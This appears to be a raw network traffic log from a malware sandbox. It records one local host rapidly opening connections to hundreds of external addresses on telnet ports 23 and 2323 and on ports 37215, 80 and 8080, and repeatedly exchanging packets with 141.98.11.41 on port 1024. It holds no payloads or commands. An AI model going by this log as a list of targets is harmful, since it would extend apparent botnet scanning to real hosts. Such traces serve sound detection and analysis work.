Feb 19, 2025 19:48:57.006443977 CET	9989	2323	192.168.2.15	206.14.155.255
Feb 19, 2025 19:48:57.006445885 CET	23	9989	99.90.211.169	192.168.2.15
Feb 19, 2025 19:48:57.006447077 CET	9989	23	192.168.2.15	79.225.35.42
Feb 19, 2025 19:48:57.006447077 CET	9989	23	192.168.2.15	49.243.143.204
Feb 19, 2025 19:48:57.006457090 CET	23	9989	106.123.98.212	192.168.2.15
Feb 19, 2025 19:48:57.006467104 CET	23	9989	204.123.60.215	192.168.2.15
Feb 19, 2025 19:48:57.006467104 CET	9989	23	192.168.2.15	150.105.233.236
Feb 19, 2025 19:48:57.006477118 CET	23	9989	180.43.35.29	192.168.2.15
Feb 19, 2025 19:48:57.006481886 CET	9989	23	192.168.2.15	99.90.211.169
Feb 19, 2025 19:48:57.006481886 CET	9989	23	192.168.2.15	106.123.98.212
Feb 19, 2025 19:48:57.006488085 CET	23	9989	216.114.34.15	192.168.2.15
Feb 19, 2025 19:48:57.006493092 CET	9989	23	192.168.2.15	204.123.60.215
Feb 19, 2025 19:48:57.006500006 CET	23	9989	20.33.1.239	192.168.2.15
Feb 19, 2025 19:48:57.006510019 CET	23	9989	88.121.56.89	192.168.2.15
Feb 19, 2025 19:48:57.006515026 CET	9989	23	192.168.2.15	180.43.35.29
Feb 19, 2025 19:48:57.006517887 CET	9989	23	192.168.2.15	216.114.34.15
Feb 19, 2025 19:48:57.006520033 CET	23	9989	145.177.112.128	192.168.2.15
Feb 19, 2025 19:48:57.006531000 CET	23	9989	115.63.255.29	192.168.2.15
Feb 19, 2025 19:48:57.006539106 CET	9989	23	192.168.2.15	20.33.1.239
Feb 19, 2025 19:48:57.006540060 CET	2323	9989	189.151.24.217	192.168.2.15
Feb 19, 2025 19:48:57.006542921 CET	9989	23	192.168.2.15	88.121.56.89
Feb 19, 2025 19:48:57.006551027 CET	23	9989	178.51.213.169	192.168.2.15
Feb 19, 2025 19:48:57.006561995 CET	23	9989	85.203.2.54	192.168.2.15
Feb 19, 2025 19:48:57.006565094 CET	9989	23	192.168.2.15	145.177.112.128
Feb 19, 2025 19:48:57.006566048 CET	9989	23	192.168.2.15	115.63.255.29
Feb 19, 2025 19:48:57.006570101 CET	9989	2323	192.168.2.15	189.151.24.217
Feb 19, 2025 19:48:57.006581068 CET	9989	23	192.168.2.15	178.51.213.169
Feb 19, 2025 19:48:57.006601095 CET	9989	23	192.168.2.15	85.203.2.54
Feb 19, 2025 19:48:57.006932974 CET	23	9989	80.42.121.101	192.168.2.15
Feb 19, 2025 19:48:57.006964922 CET	9989	23	192.168.2.15	80.42.121.101
Feb 19, 2025 19:48:57.006978989 CET	23	9989	111.11.241.219	192.168.2.15
Feb 19, 2025 19:48:57.006989956 CET	23	9989	165.230.46.17	192.168.2.15
Feb 19, 2025 19:48:57.007018089 CET	9989	23	192.168.2.15	165.230.46.17
Feb 19, 2025 19:48:57.007019997 CET	9989	23	192.168.2.15	111.11.241.219
Feb 19, 2025 19:48:57.007111073 CET	23	9989	203.237.170.42	192.168.2.15
Feb 19, 2025 19:48:57.007143974 CET	9989	23	192.168.2.15	203.237.170.42
Feb 19, 2025 19:48:57.007149935 CET	23	9989	87.43.233.110	192.168.2.15
Feb 19, 2025 19:48:57.007184029 CET	9989	23	192.168.2.15	87.43.233.110
Feb 19, 2025 19:48:57.007210016 CET	23	9989	76.112.130.152	192.168.2.15
Feb 19, 2025 19:48:57.007220984 CET	23	9989	88.136.80.161	192.168.2.15
Feb 19, 2025 19:48:57.007230997 CET	2323	9989	136.67.6.194	192.168.2.15
Feb 19, 2025 19:48:57.007241011 CET	23	9989	204.200.106.203	192.168.2.15
Feb 19, 2025 19:48:57.007251978 CET	9989	23	192.168.2.15	88.136.80.161
Feb 19, 2025 19:48:57.007256031 CET	9989	23	192.168.2.15	76.112.130.152
Feb 19, 2025 19:48:57.007256985 CET	9989	2323	192.168.2.15	136.67.6.194
Feb 19, 2025 19:48:57.007261992 CET	2323	9989	140.154.60.34	192.168.2.15
Feb 19, 2025 19:48:57.007266998 CET	9989	23	192.168.2.15	204.200.106.203
Feb 19, 2025 19:48:57.007282019 CET	23	9989	131.159.60.181	192.168.2.15
Feb 19, 2025 19:48:57.007292986 CET	2323	9989	197.180.183.205	192.168.2.15
Feb 19, 2025 19:48:57.007299900 CET	9989	2323	192.168.2.15	140.154.60.34
Feb 19, 2025 19:48:57.007303953 CET	23	9989	138.71.165.50	192.168.2.15
Feb 19, 2025 19:48:57.007320881 CET	9989	23	192.168.2.15	131.159.60.181
Feb 19, 2025 19:48:57.007323980 CET	9989	2323	192.168.2.15	197.180.183.205
Feb 19, 2025 19:48:57.007328987 CET	23	9989	12.149.28.221	192.168.2.15
Feb 19, 2025 19:48:57.007338047 CET	9989	23	192.168.2.15	138.71.165.50
Feb 19, 2025 19:48:57.007359028 CET	9989	23	192.168.2.15	12.149.28.221
Feb 19, 2025 19:48:57.018393993 CET	8080	49882	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:57.018446922 CET	49882	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:57.024638891 CET	60876	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:57.025804043 CET	1024	53398	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:57.025873899 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.025929928 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.026360989 CET	53450	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.029715061 CET	37215	60876	157.41.177.195	192.168.2.15
Feb 19, 2025 19:48:57.029795885 CET	60876	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:57.029946089 CET	60876	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:57.029984951 CET	60876	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:57.030601025 CET	37280	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:57.031409979 CET	1024	53450	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:57.031460047 CET	53450	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.032191038 CET	53450	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.035016060 CET	37215	60876	157.41.177.195	192.168.2.15
Feb 19, 2025 19:48:57.035501003 CET	37215	37280	197.24.44.190	192.168.2.15
Feb 19, 2025 19:48:57.035562992 CET	37280	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:57.035629988 CET	37280	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:57.035666943 CET	37280	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:57.036046982 CET	51314	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:57.037199974 CET	1024	53450	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:57.037256956 CET	53450	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:57.040607929 CET	37215	37280	197.24.44.190	192.168.2.15
Feb 19, 2025 19:48:57.041284084 CET	37215	51314	197.163.45.79	192.168.2.15
Feb 19, 2025 19:48:57.041335106 CET	51314	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:57.041394949 CET	51314	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:57.041420937 CET	51314	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:57.041909933 CET	50656	37215	192.168.2.15	197.216.11.24
Feb 19, 2025 19:48:57.042249918 CET	1024	53450	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:57.046344042 CET	37215	51314	197.163.45.79	192.168.2.15
Feb 19, 2025 19:48:57.078237057 CET	37215	60876	157.41.177.195	192.168.2.15
Feb 19, 2025 19:48:57.086239100 CET	37215	37280	197.24.44.190	192.168.2.15
Feb 19, 2025 19:48:57.094407082 CET	37215	51314	197.163.45.79	192.168.2.15
Feb 19, 2025 19:48:57.120611906 CET	58192	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:57.125550032 CET	37215	58192	157.205.41.156	192.168.2.15
Feb 19, 2025 19:48:57.125652075 CET	58192	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:57.126019955 CET	58192	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:57.126060963 CET	58192	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:57.131128073 CET	37215	58192	157.205.41.156	192.168.2.15
Feb 19, 2025 19:48:57.174202919 CET	37215	58192	157.205.41.156	192.168.2.15
Feb 19, 2025 19:48:57.216561079 CET	38094	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:57.216567039 CET	42622	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:57.216568947 CET	56166	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:57.216581106 CET	39176	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:57.216582060 CET	58444	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:57.216582060 CET	41174	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:57.216583014 CET	33356	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:57.216587067 CET	44386	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:57.221837044 CET	80	38094	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:57.221854925 CET	8080	42622	85.134.161.117	192.168.2.15
Feb 19, 2025 19:48:57.221864939 CET	37215	56166	157.18.199.7	192.168.2.15
Feb 19, 2025 19:48:57.221878052 CET	80	58444	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:57.221888065 CET	37215	39176	157.109.54.98	192.168.2.15
Feb 19, 2025 19:48:57.221898079 CET	37215	33356	157.104.59.86	192.168.2.15
Feb 19, 2025 19:48:57.221908092 CET	80	41174	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:57.221920013 CET	8080	44386	85.113.175.212	192.168.2.15
Feb 19, 2025 19:48:57.221921921 CET	38094	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:57.221925020 CET	42622	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:57.221934080 CET	58444	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:57.221945047 CET	56166	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:57.221946955 CET	39176	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:57.221947908 CET	33356	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:57.221962929 CET	41174	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:57.221988916 CET	44386	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:57.222078085 CET	58444	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:57.222104073 CET	41174	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:57.222132921 CET	38094	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:57.222155094 CET	33356	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:57.222162008 CET	7685	80	192.168.2.15	88.137.29.53
Feb 19, 2025 19:48:57.222187042 CET	39176	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:57.222187996 CET	7685	80	192.168.2.15	88.218.229.242
Feb 19, 2025 19:48:57.222188950 CET	7685	80	192.168.2.15	88.61.165.169
Feb 19, 2025 19:48:57.222209930 CET	7685	80	192.168.2.15	88.119.78.118
Feb 19, 2025 19:48:57.222229958 CET	56166	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:57.222233057 CET	7685	80	192.168.2.15	88.251.169.232
Feb 19, 2025 19:48:57.222249031 CET	33356	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:57.222254038 CET	7685	80	192.168.2.15	88.151.216.2
Feb 19, 2025 19:48:57.222265005 CET	39176	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:57.222269058 CET	7685	80	192.168.2.15	88.229.248.110
Feb 19, 2025 19:48:57.222269058 CET	56166	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:57.222275019 CET	7685	80	192.168.2.15	88.0.86.203
Feb 19, 2025 19:48:57.222310066 CET	7685	80	192.168.2.15	88.125.88.130
Feb 19, 2025 19:48:57.222312927 CET	7685	80	192.168.2.15	88.225.254.87
Feb 19, 2025 19:48:57.222321987 CET	7685	80	192.168.2.15	88.8.227.31
Feb 19, 2025 19:48:57.222335100 CET	7685	80	192.168.2.15	88.4.67.38
Feb 19, 2025 19:48:57.222346067 CET	7685	80	192.168.2.15	88.254.200.240
Feb 19, 2025 19:48:57.222372055 CET	7685	80	192.168.2.15	88.7.208.89
Feb 19, 2025 19:48:57.222393036 CET	7685	80	192.168.2.15	88.113.47.40
Feb 19, 2025 19:48:57.222409010 CET	7685	80	192.168.2.15	88.104.71.238
Feb 19, 2025 19:48:57.222434044 CET	7685	80	192.168.2.15	88.255.67.43
Feb 19, 2025 19:48:57.222450972 CET	7685	80	192.168.2.15	88.96.16.59
Feb 19, 2025 19:48:57.222460985 CET	7685	80	192.168.2.15	88.69.10.49
Feb 19, 2025 19:48:57.222476959 CET	7685	80	192.168.2.15	88.132.234.211
Feb 19, 2025 19:48:57.222491980 CET	7685	80	192.168.2.15	88.56.9.181
Feb 19, 2025 19:48:57.222512960 CET	7685	80	192.168.2.15	88.136.128.247
Feb 19, 2025 19:48:57.222539902 CET	7685	80	192.168.2.15	88.102.90.7
Feb 19, 2025 19:48:57.222542048 CET	7685	80	192.168.2.15	88.224.45.24
Feb 19, 2025 19:48:57.222568035 CET	7685	80	192.168.2.15	88.214.191.121
Feb 19, 2025 19:48:57.222573042 CET	7685	80	192.168.2.15	88.107.202.63
Feb 19, 2025 19:48:57.222589016 CET	7685	80	192.168.2.15	88.196.122.216
Feb 19, 2025 19:48:57.222630024 CET	7685	80	192.168.2.15	88.154.31.72
Feb 19, 2025 19:48:57.222637892 CET	7685	80	192.168.2.15	88.67.99.120
Feb 19, 2025 19:48:57.222656012 CET	7685	80	192.168.2.15	88.86.45.222
Feb 19, 2025 19:48:57.222671986 CET	7685	80	192.168.2.15	88.227.100.180
Feb 19, 2025 19:48:57.222698927 CET	7685	80	192.168.2.15	88.28.255.250
Feb 19, 2025 19:48:57.222707987 CET	7685	80	192.168.2.15	88.106.120.236
Feb 19, 2025 19:48:57.222723007 CET	7685	80	192.168.2.15	88.28.61.158
Feb 19, 2025 19:48:57.222763062 CET	7685	80	192.168.2.15	88.64.191.205
Feb 19, 2025 19:48:57.222778082 CET	7685	80	192.168.2.15	88.47.75.233
Feb 19, 2025 19:48:57.222795010 CET	7685	80	192.168.2.15	88.181.33.169
Feb 19, 2025 19:48:57.222820997 CET	7685	80	192.168.2.15	88.95.111.25
Feb 19, 2025 19:48:57.222826004 CET	7685	80	192.168.2.15	88.219.179.95
Feb 19, 2025 19:48:57.222842932 CET	7685	80	192.168.2.15	88.185.80.222
Feb 19, 2025 19:48:57.222861052 CET	7685	80	192.168.2.15	88.175.110.36
Feb 19, 2025 19:48:57.222872019 CET	7685	80	192.168.2.15	88.22.32.199
Feb 19, 2025 19:48:57.222887039 CET	7685	80	192.168.2.15	88.99.253.67
Feb 19, 2025 19:48:57.222903013 CET	7685	80	192.168.2.15	88.29.237.39
Feb 19, 2025 19:48:57.222915888 CET	7685	80	192.168.2.15	88.209.153.124
Feb 19, 2025 19:48:57.222928047 CET	7685	80	192.168.2.15	88.217.37.28
Feb 19, 2025 19:48:57.222944021 CET	7685	80	192.168.2.15	88.31.11.238
Feb 19, 2025 19:48:57.222959995 CET	7685	80	192.168.2.15	88.101.77.197
Feb 19, 2025 19:48:57.222978115 CET	7685	80	192.168.2.15	88.83.152.78
Feb 19, 2025 19:48:57.222995996 CET	7685	80	192.168.2.15	88.142.157.168
Feb 19, 2025 19:48:57.223018885 CET	7685	80	192.168.2.15	88.113.13.134
Feb 19, 2025 19:48:57.223033905 CET	7685	80	192.168.2.15	88.115.232.233
Feb 19, 2025 19:48:57.223046064 CET	7685	80	192.168.2.15	88.192.157.238
Feb 19, 2025 19:48:57.223063946 CET	7685	80	192.168.2.15	88.173.20.143
Feb 19, 2025 19:48:57.223092079 CET	7685	80	192.168.2.15	88.121.104.99
Feb 19, 2025 19:48:57.223109961 CET	7685	80	192.168.2.15	88.251.32.151
Feb 19, 2025 19:48:57.223121881 CET	7685	80	192.168.2.15	88.219.46.38
Feb 19, 2025 19:48:57.223153114 CET	7685	80	192.168.2.15	88.68.91.99
Feb 19, 2025 19:48:57.223166943 CET	7685	80	192.168.2.15	88.220.227.109
Feb 19, 2025 19:48:57.223181009 CET	7685	80	192.168.2.15	88.115.60.120
Feb 19, 2025 19:48:57.223193884 CET	7685	80	192.168.2.15	88.110.194.249
Feb 19, 2025 19:48:57.223215103 CET	7685	80	192.168.2.15	88.134.62.120
Feb 19, 2025 19:48:57.223232031 CET	7685	80	192.168.2.15	88.125.219.33
Feb 19, 2025 19:48:57.223249912 CET	7685	80	192.168.2.15	88.214.157.112
Feb 19, 2025 19:48:57.223273039 CET	7685	80	192.168.2.15	88.27.186.14
Feb 19, 2025 19:48:57.223289967 CET	7685	80	192.168.2.15	88.149.216.157
Feb 19, 2025 19:48:57.223309040 CET	7685	80	192.168.2.15	88.88.100.96
Feb 19, 2025 19:48:57.223326921 CET	7685	80	192.168.2.15	88.205.63.11
Feb 19, 2025 19:48:57.223337889 CET	7685	80	192.168.2.15	88.101.71.68
Feb 19, 2025 19:48:57.223401070 CET	7685	80	192.168.2.15	88.44.182.194
Feb 19, 2025 19:48:57.223417997 CET	7685	80	192.168.2.15	88.166.193.162
Feb 19, 2025 19:48:57.223434925 CET	7685	80	192.168.2.15	88.52.99.100
Feb 19, 2025 19:48:57.223445892 CET	7685	80	192.168.2.15	88.75.2.153
Feb 19, 2025 19:48:57.223462105 CET	7685	80	192.168.2.15	88.109.61.220
Feb 19, 2025 19:48:57.223485947 CET	7685	80	192.168.2.15	88.46.63.56
Feb 19, 2025 19:48:57.223511934 CET	7685	80	192.168.2.15	88.27.16.29
Feb 19, 2025 19:48:57.223535061 CET	7685	80	192.168.2.15	88.214.111.28
Feb 19, 2025 19:48:57.223545074 CET	7685	80	192.168.2.15	88.223.128.12
Feb 19, 2025 19:48:57.223557949 CET	7685	80	192.168.2.15	88.8.68.109
Feb 19, 2025 19:48:57.223577023 CET	7685	80	192.168.2.15	88.185.171.125
Feb 19, 2025 19:48:57.223592997 CET	7685	80	192.168.2.15	88.27.157.241
Feb 19, 2025 19:48:57.223632097 CET	7685	80	192.168.2.15	88.174.41.102
Feb 19, 2025 19:48:57.223642111 CET	7685	80	192.168.2.15	88.187.132.110
Feb 19, 2025 19:48:57.223660946 CET	7685	80	192.168.2.15	88.136.44.150
Feb 19, 2025 19:48:57.223675966 CET	7685	80	192.168.2.15	88.199.19.207
Feb 19, 2025 19:48:57.223689079 CET	7685	80	192.168.2.15	88.110.221.105
Feb 19, 2025 19:48:57.223714113 CET	7685	80	192.168.2.15	88.89.206.56
Feb 19, 2025 19:48:57.223745108 CET	7685	80	192.168.2.15	88.135.131.51
Feb 19, 2025 19:48:57.223771095 CET	7685	80	192.168.2.15	88.214.127.130
Feb 19, 2025 19:48:57.223792076 CET	7685	80	192.168.2.15	88.174.83.55
Feb 19, 2025 19:48:57.223808050 CET	7685	80	192.168.2.15	88.127.28.249
Feb 19, 2025 19:48:57.223820925 CET	7685	80	192.168.2.15	88.158.38.36
Feb 19, 2025 19:48:57.223831892 CET	7685	80	192.168.2.15	88.196.186.69
Feb 19, 2025 19:48:57.223865986 CET	7685	80	192.168.2.15	88.135.162.99
Feb 19, 2025 19:48:57.223876953 CET	7685	80	192.168.2.15	88.179.191.82
Feb 19, 2025 19:48:57.223898888 CET	7685	80	192.168.2.15	88.125.41.151
Feb 19, 2025 19:48:57.223937035 CET	7685	80	192.168.2.15	88.211.124.66
Feb 19, 2025 19:48:57.223941088 CET	7685	80	192.168.2.15	88.153.133.191
Feb 19, 2025 19:48:57.223963976 CET	7685	80	192.168.2.15	88.252.4.208
Feb 19, 2025 19:48:57.223984003 CET	7685	80	192.168.2.15	88.218.220.206
Feb 19, 2025 19:48:57.224009037 CET	7685	80	192.168.2.15	88.174.11.191
Feb 19, 2025 19:48:57.224030018 CET	7685	80	192.168.2.15	88.113.218.234
Feb 19, 2025 19:48:57.224050999 CET	7685	80	192.168.2.15	88.218.0.53
Feb 19, 2025 19:48:57.224069118 CET	7685	80	192.168.2.15	88.75.114.52
Feb 19, 2025 19:48:57.224091053 CET	7685	80	192.168.2.15	88.239.135.71
Feb 19, 2025 19:48:57.224102020 CET	7685	80	192.168.2.15	88.60.248.203
Feb 19, 2025 19:48:57.224118948 CET	7685	80	192.168.2.15	88.152.41.155
Feb 19, 2025 19:48:57.224126101 CET	7685	80	192.168.2.15	88.160.124.11
Feb 19, 2025 19:48:57.224140882 CET	7685	80	192.168.2.15	88.160.95.102
Feb 19, 2025 19:48:57.224183083 CET	7685	80	192.168.2.15	88.63.54.242
Feb 19, 2025 19:48:57.224191904 CET	7685	80	192.168.2.15	88.254.145.196
Feb 19, 2025 19:48:57.224209070 CET	7685	80	192.168.2.15	88.195.194.146
Feb 19, 2025 19:48:57.224222898 CET	7685	80	192.168.2.15	88.16.216.33
Feb 19, 2025 19:48:57.224242926 CET	7685	80	192.168.2.15	88.73.253.226
Feb 19, 2025 19:48:57.224257946 CET	7685	80	192.168.2.15	88.30.34.87
Feb 19, 2025 19:48:57.224281073 CET	7685	80	192.168.2.15	88.81.161.105
Feb 19, 2025 19:48:57.224287987 CET	7685	80	192.168.2.15	88.136.62.32
Feb 19, 2025 19:48:57.224315882 CET	7685	80	192.168.2.15	88.50.103.243
Feb 19, 2025 19:48:57.224328995 CET	7685	80	192.168.2.15	88.52.28.17
Feb 19, 2025 19:48:57.224339008 CET	7685	80	192.168.2.15	88.246.244.46
Feb 19, 2025 19:48:57.224354982 CET	7685	80	192.168.2.15	88.44.108.188
Feb 19, 2025 19:48:57.224376917 CET	7685	80	192.168.2.15	88.90.120.138
Feb 19, 2025 19:48:57.224390030 CET	7685	80	192.168.2.15	88.56.109.53
Feb 19, 2025 19:48:57.224407911 CET	7685	80	192.168.2.15	88.229.144.242
Feb 19, 2025 19:48:57.224422932 CET	7685	80	192.168.2.15	88.43.124.180
Feb 19, 2025 19:48:57.224447012 CET	7685	80	192.168.2.15	88.179.123.233
Feb 19, 2025 19:48:57.224463940 CET	7685	80	192.168.2.15	88.255.91.21
Feb 19, 2025 19:48:57.224489927 CET	7685	80	192.168.2.15	88.174.47.214
Feb 19, 2025 19:48:57.224549055 CET	7685	80	192.168.2.15	88.90.253.93
Feb 19, 2025 19:48:57.224611998 CET	42622	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:57.224611998 CET	44386	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:57.224647999 CET	7173	8080	192.168.2.15	62.64.159.185
Feb 19, 2025 19:48:57.224649906 CET	7173	8080	192.168.2.15	94.51.155.140
Feb 19, 2025 19:48:57.224666119 CET	7173	8080	192.168.2.15	94.98.220.238
Feb 19, 2025 19:48:57.224667072 CET	7173	8080	192.168.2.15	31.104.231.68
Feb 19, 2025 19:48:57.224669933 CET	7173	8080	192.168.2.15	94.84.77.204
Feb 19, 2025 19:48:57.224689960 CET	7173	8080	192.168.2.15	95.51.49.83
Feb 19, 2025 19:48:57.224699020 CET	7173	8080	192.168.2.15	62.85.120.61
Feb 19, 2025 19:48:57.224699020 CET	7173	8080	192.168.2.15	62.165.87.240
Feb 19, 2025 19:48:57.224713087 CET	7173	8080	192.168.2.15	85.151.54.25
Feb 19, 2025 19:48:57.224716902 CET	7173	8080	192.168.2.15	62.32.56.70
Feb 19, 2025 19:48:57.224721909 CET	7173	8080	192.168.2.15	85.1.210.154
Feb 19, 2025 19:48:57.224725008 CET	7173	8080	192.168.2.15	85.55.57.190
Feb 19, 2025 19:48:57.224741936 CET	7173	8080	192.168.2.15	95.146.175.151
Feb 19, 2025 19:48:57.224742889 CET	7173	8080	192.168.2.15	62.155.208.130
Feb 19, 2025 19:48:57.224757910 CET	7173	8080	192.168.2.15	31.175.9.27
Feb 19, 2025 19:48:57.224757910 CET	7173	8080	192.168.2.15	31.182.127.164
Feb 19, 2025 19:48:57.224772930 CET	7173	8080	192.168.2.15	94.14.71.200
Feb 19, 2025 19:48:57.224776983 CET	7173	8080	192.168.2.15	95.174.205.107
Feb 19, 2025 19:48:57.224786043 CET	7173	8080	192.168.2.15	31.200.143.160
Feb 19, 2025 19:48:57.224793911 CET	7173	8080	192.168.2.15	31.179.72.143
Feb 19, 2025 19:48:57.224798918 CET	7173	8080	192.168.2.15	31.136.40.115
Feb 19, 2025 19:48:57.224798918 CET	7173	8080	192.168.2.15	95.191.222.207
Feb 19, 2025 19:48:57.224813938 CET	7173	8080	192.168.2.15	85.59.147.38
Feb 19, 2025 19:48:57.224814892 CET	7173	8080	192.168.2.15	94.28.8.37
Feb 19, 2025 19:48:57.224826097 CET	7173	8080	192.168.2.15	62.25.74.198
Feb 19, 2025 19:48:57.224833012 CET	7173	8080	192.168.2.15	94.167.90.13
Feb 19, 2025 19:48:57.224838972 CET	7173	8080	192.168.2.15	94.128.202.52
Feb 19, 2025 19:48:57.224847078 CET	7173	8080	192.168.2.15	62.29.69.53
Feb 19, 2025 19:48:57.224864006 CET	7173	8080	192.168.2.15	85.250.25.27
Feb 19, 2025 19:48:57.224865913 CET	7173	8080	192.168.2.15	31.132.237.11
Feb 19, 2025 19:48:57.224873066 CET	7173	8080	192.168.2.15	85.230.154.55
Feb 19, 2025 19:48:57.224880934 CET	7173	8080	192.168.2.15	31.204.36.190
Feb 19, 2025 19:48:57.224888086 CET	7173	8080	192.168.2.15	95.228.120.174
Feb 19, 2025 19:48:57.224900961 CET	7173	8080	192.168.2.15	85.57.50.150
Feb 19, 2025 19:48:57.224915981 CET	7173	8080	192.168.2.15	85.2.163.34
Feb 19, 2025 19:48:57.224915981 CET	7173	8080	192.168.2.15	95.76.127.113
Feb 19, 2025 19:48:57.224920988 CET	7173	8080	192.168.2.15	95.80.167.134
Feb 19, 2025 19:48:57.224920988 CET	7173	8080	192.168.2.15	85.65.131.31
Feb 19, 2025 19:48:57.224931002 CET	7173	8080	192.168.2.15	62.144.131.9
Feb 19, 2025 19:48:57.224940062 CET	7173	8080	192.168.2.15	95.129.169.34
Feb 19, 2025 19:48:57.224950075 CET	7173	8080	192.168.2.15	62.180.74.115
Feb 19, 2025 19:48:57.224960089 CET	7173	8080	192.168.2.15	94.196.210.14
Feb 19, 2025 19:48:57.224967957 CET	7173	8080	192.168.2.15	85.218.207.53
Feb 19, 2025 19:48:57.224976063 CET	7173	8080	192.168.2.15	85.97.122.173
Feb 19, 2025 19:48:57.224987984 CET	7173	8080	192.168.2.15	85.36.176.128
Feb 19, 2025 19:48:57.224993944 CET	7173	8080	192.168.2.15	62.183.204.76
Feb 19, 2025 19:48:57.225003004 CET	7173	8080	192.168.2.15	85.171.171.157
Feb 19, 2025 19:48:57.225003004 CET	7173	8080	192.168.2.15	62.247.208.161
Feb 19, 2025 19:48:57.225003004 CET	7173	8080	192.168.2.15	62.234.247.21
Feb 19, 2025 19:48:57.225008011 CET	7173	8080	192.168.2.15	85.148.132.197
Feb 19, 2025 19:48:57.225022078 CET	7173	8080	192.168.2.15	95.163.148.164
Feb 19, 2025 19:48:57.225030899 CET	7173	8080	192.168.2.15	94.209.61.216
Feb 19, 2025 19:48:57.225033998 CET	7173	8080	192.168.2.15	85.58.81.3
Feb 19, 2025 19:48:57.225053072 CET	7173	8080	192.168.2.15	85.187.229.198
Feb 19, 2025 19:48:57.225053072 CET	7173	8080	192.168.2.15	94.177.191.165
Feb 19, 2025 19:48:57.225063086 CET	7173	8080	192.168.2.15	94.74.46.21
Feb 19, 2025 19:48:57.225065947 CET	7173	8080	192.168.2.15	94.128.196.10
Feb 19, 2025 19:48:57.225079060 CET	7173	8080	192.168.2.15	94.228.218.3
Feb 19, 2025 19:48:57.225090027 CET	7173	8080	192.168.2.15	62.6.27.83
Feb 19, 2025 19:48:57.225097895 CET	7173	8080	192.168.2.15	62.142.204.183
Feb 19, 2025 19:48:57.225097895 CET	7173	8080	192.168.2.15	94.111.45.17
Feb 19, 2025 19:48:57.225120068 CET	7173	8080	192.168.2.15	31.56.51.132
Feb 19, 2025 19:48:57.225133896 CET	7173	8080	192.168.2.15	95.212.107.40
Feb 19, 2025 19:48:57.225132942 CET	7173	8080	192.168.2.15	95.113.173.141
Feb 19, 2025 19:48:57.225132942 CET	7173	8080	192.168.2.15	85.216.15.26
Feb 19, 2025 19:48:57.225141048 CET	7173	8080	192.168.2.15	85.195.224.198
Feb 19, 2025 19:48:57.225150108 CET	7173	8080	192.168.2.15	95.126.246.26
Feb 19, 2025 19:48:57.225153923 CET	7173	8080	192.168.2.15	95.178.228.67
Feb 19, 2025 19:48:57.225167990 CET	7173	8080	192.168.2.15	85.99.179.87
Feb 19, 2025 19:48:57.225178003 CET	7173	8080	192.168.2.15	85.243.23.68
Feb 19, 2025 19:48:57.225193977 CET	7173	8080	192.168.2.15	85.200.215.179
Feb 19, 2025 19:48:57.225202084 CET	7173	8080	192.168.2.15	62.168.34.117
Feb 19, 2025 19:48:57.225202084 CET	7173	8080	192.168.2.15	31.151.203.147
Feb 19, 2025 19:48:57.225215912 CET	7173	8080	192.168.2.15	94.49.206.210
Feb 19, 2025 19:48:57.225223064 CET	7173	8080	192.168.2.15	62.95.220.0
Feb 19, 2025 19:48:57.225224018 CET	7173	8080	192.168.2.15	31.181.171.45
